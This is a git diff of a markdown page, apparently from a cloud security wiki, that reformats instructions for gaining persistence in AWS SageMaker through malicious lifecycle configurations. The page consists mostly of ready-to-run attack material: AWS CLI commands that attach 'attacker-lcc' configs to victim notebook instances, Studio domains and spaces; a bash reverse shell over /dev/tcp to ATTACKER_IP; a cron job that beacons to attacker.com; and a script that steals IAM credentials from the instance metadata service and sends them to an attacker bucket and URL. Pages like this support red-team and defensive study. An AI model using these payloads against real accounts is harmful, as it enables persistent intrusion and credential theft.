11
2- ### AWS - SageMaker Lifecycle Configuration Persistence
3-
4- # Required Permissions
5- * Notebook Instances: sagemaker: CreateNotebookInstanceLifecycleConfig , sagemaker: UpdateNotebookInstanceLifecycleConfig , sagemaker: CreateNotebookInstance , sagemaker: UpdateNotebookInstance
6- * Studio Applications: sagemaker: CreateStudioLifecycleConfig , sagemaker: UpdateStudioLifecycleConfig , sagemaker: UpdateUserProfile , sagemaker: UpdateSpace , sagemaker: UpdateDomain
7-
8- ### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
2+ # AWS - SageMaker Lifecycle Configuration Persistence
3+
4+ ## Required Permissions
5+ * Notebook Instances:
6+ ```
7+ sagemaker:CreateNotebookInstanceLifecycleConfig
8+ sagemaker:UpdateNotebookInstanceLifecycleConfig
9+ sagemaker:CreateNotebookInstance
10+ sagemaker:UpdateNotebookInstance
11+ ```
12+ * Studio Applications:
13+ ```
14+ sagemaker:CreateStudioLifecycleConfig
15+ sagemaker:UpdateStudioLifecycleConfig
16+ sagemaker:UpdateUserProfile
17+ sagemaker:UpdateSpace
18+ sagemaker:UpdateDomain
19+ ```
20+ #### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
921
1022## Set Lifecycle Configuration on Notebook Instances
1123
1224### Example AWS CLI Commands:
25+ ``` bash
26+ # Create Lifecycle Configuration*
1327
14- * # Create Lifecycle Configuration*
1528aws sagemaker create-notebook-instance-lifecycle-config \
1629--notebook-instance-lifecycle-config-name attacker-lcc \
1730--on-start Content=$( base64 -w0 reverse_shell.sh)
1831
19- * # Attach Lifecycle Configuration to Notebook Instance*
32+
33+ # Attach Lifecycle Configuration to Notebook Instance*
34+
2035aws sagemaker update-notebook-instance \
2136--notebook-instance-name victim-instance \
2237--lifecycle-config-name attacker-lcc
38+ ```
2339
2440## Set Lifecycle Configuration on SageMaker Studio
2541
2642Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.
2743
2844### Studio Domain Level (All Users)
45+ ``` bash
46+ # Create Studio Lifecycle Configuration*
2947
30- * # Create Studio Lifecycle Configuration*
3148aws sagemaker create-studio-lifecycle-config \
3249--studio-lifecycle-config-name attacker-studio-lcc \
3350--studio-lifecycle-config-app-type JupyterServer \
3451--studio-lifecycle-config-content $( base64 -w0 reverse_shell.sh)
3552
36- * # Apply LCC to entire Studio Domain*
53+
54+ # Apply LCC to entire Studio Domain*
55+
3756aws sagemaker update-domain --domain-id < DOMAIN_ID> --default-user-settings ' {
3857 "JupyterServerAppSettings": {
3958 "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
4059 }
4160}'
42-
61+ ```
4362### Studio Space Level (Individual or Shared Spaces)
63+ ``` bash
64+ # Update SageMaker Studio Space to attach LCC*
4465
45- * # Update SageMaker Studio Space to attach LCC*
4666aws sagemaker update-space --domain-id < DOMAIN_ID> --space-name < SPACE_NAME> --space-settings ' {
4767 "JupyterServerAppSettings": {
4868 "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
4969 }
5070}'
51-
71+ ```
5272## Types of Studio Application Lifecycle Configurations
5373
5474Lifecycle configurations can be specifically applied to different SageMaker Studio application types:
@@ -59,26 +79,26 @@ Lifecycle configurations can be specifically applied to different SageMaker Stud
5979### Example Command for Each Type:
6080
6181### JupyterServer
62-
82+ ``` bash
6383aws sagemaker create-studio-lifecycle-config \
6484--studio-lifecycle-config-name attacker-jupyter-lcc \
6585--studio-lifecycle-config-app-type JupyterServer \
6686--studio-lifecycle-config-content $( base64 -w0 reverse_shell.sh)
67-
87+ ```
6888### KernelGateway
69-
89+ ``` bash
7090aws sagemaker create-studio-lifecycle-config \
7191--studio-lifecycle-config-name attacker-kernelgateway-lcc \
7292--studio-lifecycle-config-app-type KernelGateway \
7393--studio-lifecycle-config-content $( base64 -w0 kernel_persist.sh)
74-
94+ ```
7595### CodeEditor
76-
96+ ``` bash
7797aws sagemaker create-studio-lifecycle-config \
7898--studio-lifecycle-config-name attacker-codeeditor-lcc \
7999--studio-lifecycle-config-app-type CodeEditor \
80100--studio-lifecycle-config-content $( base64 -w0 editor_persist.sh)
81-
101+ ```
82102### Critical Info:
83103* Attaching LCCs at the domain or space level impacts all users or applications within scope.
84104* Requires higher permissions (sagemaker: UpdateDomain , sagemaker: UpdateSpace ) typically more feasible at space than domain level.
@@ -89,18 +109,18 @@ aws sagemaker create-studio-lifecycle-config \
89109SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
90110
91111### Payload Example:
92-
112+ ```
93113#!/bin/bash
94114ATTACKER_IP="<ATTACKER_IP>"
95115ATTACKER_PORT="<ATTACKER_PORT>"
96116nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
97-
117+ ```
98118## Cron Job Persistence via Lifecycle Configuration
99119
100120An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
101121
102122### Payload Example:
103-
123+ ```
104124#!/bin/bash
105125PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
106126CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
@@ -111,22 +131,24 @@ echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOA
111131chmod +x $PAYLOAD_PATH
112132
113133(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
114-
134+ ```
115135## Credential Exfiltration via IMDS (v1 & v2)
116136
117137Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
118138
119139### Payload Example:
120-
140+ ``` bash
121141#! /bin/bash
122142ATTACKER_BUCKET=" s3://attacker-controlled-bucket"
123143TOKEN=$( curl -X PUT " http://169.254.169.254/latest/api/token" -H " X-aws-ec2-metadata-token-ttl-seconds: 21600" )
124144ROLE_NAME=$( curl -s -H " X-aws-ec2-metadata-token: $TOKEN " http://169.254.169.254/latest/meta-data/iam/security-credentials/)
125145curl -s -H " X-aws-ec2-metadata-token: $TOKEN " http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
126146
127- * # Exfiltrate via S3*
147+ # Exfiltrate via S3*
148+
128149aws s3 cp /tmp/creds.json $ATTACKER_BUCKET /$( hostname) -creds.json
129150
130- * # Alternatively, exfiltrate via HTTP POST*
131- curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
151+ # Alternatively, exfiltrate via HTTP POST*
132152
153+ curl -X POST -F " file=@/tmp/creds.json" http://attacker.com/upload
154+ ```
0 commit comments